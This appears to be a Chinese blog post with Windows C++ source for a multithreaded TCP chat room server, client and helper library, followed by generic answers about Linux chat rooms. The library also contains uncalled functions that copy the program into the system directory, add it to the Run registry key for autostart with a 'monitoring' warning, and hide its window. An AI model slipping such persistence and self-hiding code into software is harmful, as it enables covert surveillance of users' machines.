c++——聊天室程序(涉及多线程、互斥量mutex、TCP连接)

一、服务端

#include <stdio.h>
#include <WinSock2.h>
#include "gyklib.h"
#include <Ws2tcpip.h>
#include <process.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "gyklib.lib")

// 定义聊天室最大人数
#define MAX_CLI_NUM 256
// 定义消息最大值为1KB
#define MAX_MSG_SIZE 1024
// 当前聊天室人数
int current_cli_num = 0;
// 所有连接的数组
SOCKET* cli_socket_arr = new SOCKET[MAX_CLI_NUM]{ 0 };
// 创建一个互斥体
HANDLE hmutex = CreateMutex(NULL, FALSE, NULL);
// 发送消息的方法
void SendMsgToOther(SOCKET* socket, char* msg);
// 处理客户端连接的函数,多线程中使用
unsigned WINAPI HandleClient(void* arg);

int main()
{
	printf("ChatRoom Server开启\n");
	// 线程句柄
	HANDLE hThread;
	// 初始化socker网络库
	InitSocketNet();
	// 3、建立socket连接,AF_INET:表示ipv4协议
	// SOCK_STREAM:表示TCP连接
	SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockSrv)
	{
		printf("socket errorno = %d\n", GetLastError());
		return -1;
	}
	// 配置连接参数
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);
	// 绑定socket
	if (SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
		printf("bind errorno = %d\n", GetLastError());
		return -1;
	}
	// 4、监听 listen
	if (SOCKET_ERROR == listen(sockSrv, 100))
	{
		printf("listen errorno = %d\n", GetLastError());
		return -1;
	}
	// 客户端地址
	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR);
	while (TRUE)
	{
		// 5、分配一台分机去处理客户端的连接
		printf("等待客户端连接中...\n");
		SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli, &len);
		// 等待互斥体变为有信号状态
		WaitForSingleObject(hmutex, INFINITE);
		cli_socket_arr[current_cli_num] = sockConn;
		current_cli_num++;
		char ip_str[INET6_ADDRSTRLEN];
		const char* ip = InetNtop(AF_INET, &(addrCli.sin_addr), ip_str, INET_ADDRSTRLEN);
		if (ip != NULL) {
			printf("客户端:{%s}连接成功!\n", ip);
		}
		// 释放互斥体
		ReleaseMutex(hmutex);
		// 开启一个线程去处理这个连接的消息
		hThread = (HANDLE)_beginthreadex(NULL, 0, &HandleClient, &sockConn, 0, NULL);
	}

	// 8、关闭总机
	closesocket(sockSrv);
	WSACleanup();
	system("pause");
	return 0;
}

unsigned WINAPI HandleClient(void* arg)
{
	// 获取连接
	SOCKET socket = *(SOCKET*)arg;
	// 获取数据
	char* clientMsg = new char[MAX_MSG_SIZE];
	while (TRUE)
	{
		// 将消息置为0
		memset(clientMsg, 0, MAX_MSG_SIZE);
		// 获取消息
		if (recv(socket, clientMsg, MAX_MSG_SIZE, 0) > 0)
		{
			printf("收到客户端消息:%s\n", clientMsg);
			// 消息获取之后,需要发送给其他的人
			SendMsgToOther(&socket, clientMsg);
		}
		else // 断开连接,跳出while循环
		{
			break;
		}

	}

	// 等待互斥体变为有信号状态
	WaitForSingleObject(hmutex, INFINITE);
	// 移除数组中失效的连接
	int currentIndex = current_cli_num;
	for (int i = 0; i < current_cli_num; i++)
	{
		if (socket == cli_socket_arr[i])
		{
			currentIndex = i;
		}
		if (i == (current_cli_num - 1))
		{
			cli_socket_arr[i] = 0;
		}
		else if (i >= currentIndex)
		{
			cli_socket_arr[i] = cli_socket_arr[i + 1];
		}
	}
	current_cli_num--;
	// 释放互斥体
	ReleaseMutex(hmutex);
	// 销毁堆数据
	delete[] clientMsg;
	return 0;
}

void SendMsgToOther(SOCKET* socket, char* msg)
{
	for (int i = 0; i < current_cli_num; i++)
	{
		SOCKET s = cli_socket_arr[i];
		printf("s:%x socket:%x\n", s, *socket);
		if (s != *socket)
		{
			SocketSend(s, msg, strlen(msg));
		}
	}
}

二、客户端

#include <string> // 包含strcpy_s函数的头文件
#include <stdio.h>
#include <stdlib.h>
#include <WinSock2.h>
#include <Ws2tcpip.h>
#include <windows.h>
#include "gyklib.h"
#include <process.h>
#include <ctype.h>

// 使用 #pragma comment(lib, "ws2_32.lib") 可以使你的代码更加自包含,因为你不需要依赖外部的项目设置。
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "gyklib.lib")

#define MAX_NAME_SIZE 255
#define MAX_MSG_SIZE 1024
// 用户的名称
char* name = new char[255] {"DEFAULT"};
// 用户输入的消息
char* msg = new char[MAX_MSG_SIZE];
// 要发送的数据
char* newMsg = new char[MAX_NAME_SIZE + MAX_MSG_SIZE];

// 处理收到的消息
unsigned HandleRecv(void* arg);

// 处理发送的消息
unsigned HandleSend(void* arg);

int main(int argc, char* argv[])
{

	HANDLE hSendThread, hRecvThread;
	if (argc != 2) {
		MessageBox(0, "命令行启动,请添加启动参数!\n例如:./ChatRoomClient.exe [name]\n其中name表示你的名称\n", "警告", MB_ICONWARNING);
		return 1; // 退出并返回错误码
	}

	// 获取聊天室昵称
	errno_t err = strcpy_s(name, MAX_NAME_SIZE, argv[1]);
	if (err != 0)
	{
		fputs("strcpy_s error\n", stdout);
	}
	// 初始化socker网络库
	InitSocketNet();
	// 3、建立socket连接,AF_INET:表示ipv4协议
	// SOCK_STREAM:表示TCP连接
	SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockCli)
	{
		printf("socket errorno = %d\n", GetLastError());
		return -1;
	}
	// 4、配置要连接的服务器
	SOCKADDR_IN addrSrv;
	memset(&addrSrv, 0, sizeof(addrSrv));
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);
	// 假设我们有一个 IP 地址的字符串表示
	const char* ip_str = "192.168.1.9";
	if (inet_pton(AF_INET, ip_str, &(addrSrv.sin_addr.s_addr)) <= 0) {
		// 错误处理
		printf("inet_pton errorno = %d\n", GetLastError());
		return -1;
	}

	// 5、连接服务器
	if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
		printf("connect errorno = %d\n", GetLastError());
		return -1;
	}
	// 创建线程监听服务器消息
	hRecvThread = (HANDLE)_beginthreadex(NULL, 0, &HandleRecv, &sockCli, 0, NULL);
	// 创建线程监听用户输入信息,并发送给服务器
	hSendThread = (HANDLE)_beginthreadex(NULL, 0, &HandleSend, &sockCli, 0, NULL);

	// 等待线程结束后,才结束主线程
	WaitForSingleObject(hRecvThread, INFINITE);
	WaitForSingleObject(hSendThread, INFINITE);

	// 7、关闭套接字
	closesocket(sockCli);
	WSACleanup();
	system("pause");
	return 0;
}

unsigned HandleRecv(void* arg)
{
	// 获取连接
	SOCKET socket = *(SOCKET*)arg;
	// 获取数据
	char* msg = new char[MAX_NAME_SIZE + MAX_MSG_SIZE];
	while (TRUE)
	{
		// 将消息置为0
		memset(msg, 0, MAX_NAME_SIZE + MAX_MSG_SIZE);
		// 获取消息
		if (recv(socket, msg, MAX_NAME_SIZE + MAX_MSG_SIZE, 0) > 0)
		{
			// 将消息打印到控制台
			fputs(msg, stdout);
		}
		else // 断开连接,跳出while循环
		{
			break;
		}

	}
	return 0;
}

unsigned HandleSend(void* arg)
{
	// 获取连接
	SOCKET socket = *(SOCKET*)arg;
	while (TRUE)
	{
		fgets(msg, MAX_NAME_SIZE + MAX_MSG_SIZE, stdin);
		if (strlen(msg) == 2 && tolower(msg[0]) == 'q') {
			fputs("退出聊天室!\n", stdout);
			exit(0);
		}
		else
		{
			sprintf_s(newMsg, MAX_NAME_SIZE + MAX_MSG_SIZE, "[%s]:%s", name, msg);
			SocketSend(socket, newMsg, strlen(newMsg));
		}
	}
	return 0;
}

三、静态库gyklib

#include <WinSock2.h>
#include <stdio.h>
#include "gyklib.h"
#include <Windows.h>
#include <io.h>

// 确保在包含WinSock2.h之前定义这些宏
#define WIN32_LEAN_AND_MEAN
#define _WINSOCK_DEPRECATED_NO_WARNINGS

int SocketRecv(int sock, char* buf, int dataSize)
{
	// 目前收到的数据量
	int numsRecvSoFar = 0;
	// 未收到的数据量
	int numsRemainingToRecv = dataSize;
	printf("enter SocketRecv\n");
	// 循环接收数据
	while (true)
	{
		int bytesRead = recv(sock, &buf[numsRecvSoFar], numsRemainingToRecv, 0);
		printf("###bytesRead = %d, numsRecvSoFar = %d, numsRemainingToRecv = %d\n",
			bytesRead, numsRecvSoFar, numsRemainingToRecv);

		if (bytesRead == numsRemainingToRecv)
		{
			return 0;
		}
		else if (bytesRead > 0)
		{
			numsRecvSoFar += bytesRead;
			numsRemainingToRecv -= bytesRead;
			continue;
		}
		else if (bytesRead < 0 && errno == EAGAIN)
		{
			continue;
		}
		else
		{
			return -1;
		}
	}
}

int SocketSend(int sock, char* buf, int dataSize)
{
	// 目前发送的数据量
	int numsSendSoFar = 0;
	// 未发送的数据量
	int numsRemainingToSend = dataSize;
	printf("enter SocketSend\n");
	// 循环接收数据
	while (true)
	{
		int bytesSend = send(sock, &buf[numsSendSoFar], numsRemainingToSend, 0);
		printf("###bytesSend = %d, numsRecvSoFar = %d, numsRemainingToRecv = %d\n",
			bytesSend, numsSendSoFar, numsRemainingToSend);

		if (bytesSend == numsRemainingToSend)
		{
			return 0;
		}
		else if (bytesSend > 0)
		{
			numsSendSoFar += bytesSend;
			numsRemainingToSend -= bytesSend;
			continue;
		}
		else if (bytesSend < 0 && errno == EAGAIN)
		{
			continue;
		}
		else
		{
			return -1;
		}
	}
}

void AddToSystem(const char* appName)
{
	HKEY hKEY;
	char CurrentPath[MAX_PATH];
	char SysPath[MAX_PATH];
	long ret = 0;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type = REG_SZ;
	DWORD size = MAX_PATH;
	// regedit win + R
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
	// 获取系统目录
	GetSystemDirectory(SysPath, size);
	// 获取当前模块的完整路径
	GetModuleFileName(NULL, CurrentPath, size);
	// 复制文件
	FileCurrentName = CurrentPath;
	FileNewName = lstrcat(lstrcat(lstrcat(SysPath, "\\"), appName), ".exe");
	struct _finddata_t Steal;
	if (_findfirst(FileNewName, &Steal) != -1)
	{
		MessageBox(0, "该程序已经安装过了!", "消息提示", NULL);
		return;
	}
	int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n继续运行该程序将使这台机器处于被监控的状态!\n如果您不想这样,请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动 运行。\n按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);

	if (ihow == IDCANCEL) exit(0);

	if (ihow == IDNO) return;

	// 复制文件到系统目录,并添加到注册表中
	printf("FileCurrentName: %s\nFileNewName: %s\n", FileCurrentName, FileNewName);
	ret = CopyFile(FileCurrentName, FileNewName, TRUE);
	if (!ret)
	{
		MessageBox(0, "复制程序失败,请重试!", "错误", NULL);
		return;
	}
	// 加入注册表
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
	if (ret != ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	// 设置Key
	ret = RegSetValueEx(hKEY, appName, NULL, type, (const unsigned char*)FileNewName, size);
	if (ret != ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	RegCloseKey(hKEY);
}

void HideMyself()
{
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, SW_HIDE);
}

int InitSocketNet() {
	// 1、初始化网络库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	wVersionRequested = MAKEWORD(2, 2);
	// 2、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
}
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Linux C语言聊天室是一种基于Linux操作系统和C语言编写的网络聊天工具,它可以实现多人在线聊天、私聊、文件传输等功能。通过使用socket编程和多线程技术,可以实现客户端和服务器之间的通信和数据传输。该聊天室可以应用于各种场景,如企业内部通讯、在线教育、社交娱乐等。 ### 回答2: Linux C语言聊天室是一个典型的客户端/服务器模型应用程序,它在Linux操作系统上使用C语言编写。该聊天室程序能够实现多个用户之间的文本通信和文件传输,具有实时性和可靠性的特点。 在实现聊天室程序时,首先需要考虑的是服务器端的搭建。服务器端主要负责接收用户的连接请求,创建相应的线程或子进程来处理连接请求,然后分配IP地址和端口号等网络信息给连接的客户端。服务器端还需要维护用户连接状态和用户消息记录,对不同的客户端之间的通信进行转发和管理。 客户端主要负责向服务器端发送连接请求,获取服务器端分配的网络信息,然后与服务器端进行通信,发送和接收文本消息以及传输文件等,实现与其他客户端的实时通信。 在实现聊天室程序时,需要使用一些Linux的系统调用和网络编程API,如socket、bind、listen、accept、connect、select等,使用多线程或多进程的方式来处理连接请求,实现多个客户端之间的通信和管理。同时需要考虑程序的安全性和稳定性,比如对用户的输入进行检查、处理异常情况的处理等。 总之,Linux C语言聊天室是一项复杂而有挑战性的任务,需要深入掌握Linux操作系统的知识和底层编程技术,具备较强的编程能力和实践经验,才能开发出高质、可靠性高、效率高的聊天室程序。 ### 回答3: Linux C语言聊天室是一个基于Linux系统的网络应用,它通过使用C语言编程实现客户端与服务端之间的即时通信,实现两端实时聊天的功能。它是一种特殊的网络应用,因为客户端和服务端之间的通信是实时的,并且需要处理大的数据和连接请求。 在实现Linux C语言聊天室时,需要考虑多个因素,例如通信方式、数据格式、协议等等。对于通信方式,可以选择TCP或UDP协议,其中TCP协议是基于连接的,提供可靠的传输服务,而UDP协议是无连接的,提供不可靠的传输服务。在选择TCP或UDP协议时,需要根据具体的需求和应用场景进行选择。 对于数据格式,需要定义规范的数据包结构,以便客户端和服务端之间正确地识别和解析数据。数据包结构通常包括数据长度、指令类型、数据内容等字段,对于不同类型的数据需要定义不同的指令类型。在数据传输时,需要对数据进行压缩和加密解密等操作,以保证数据的安全性和可靠性。 在协议方面,需要定义通信协议和数据传输协议。通信协议是指客户端和服务端之间的通信规范,可以采用自己定义的协议或者使用已有的协议。数据传输协议是指客户端和服务端之间传递数据的协议,比如HTTP、FTP等。 最后,Linux C语言聊天室需要考虑的一个重要因素是安全性。在实现聊天室时需要防范各种安全攻击,比如SQL注入、缓冲区溢出等。此外,还需要对聊天记录进行安全管理,以保证用户的隐私和数据安全。 总之,实现Linux C语言聊天室是一个复杂的过程,需要考虑多个因素并进行适当的技术选型和开发实现。只有在合理设计和严格实现的基础上,才能保证聊天室的稳定性、安全性和可靠性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值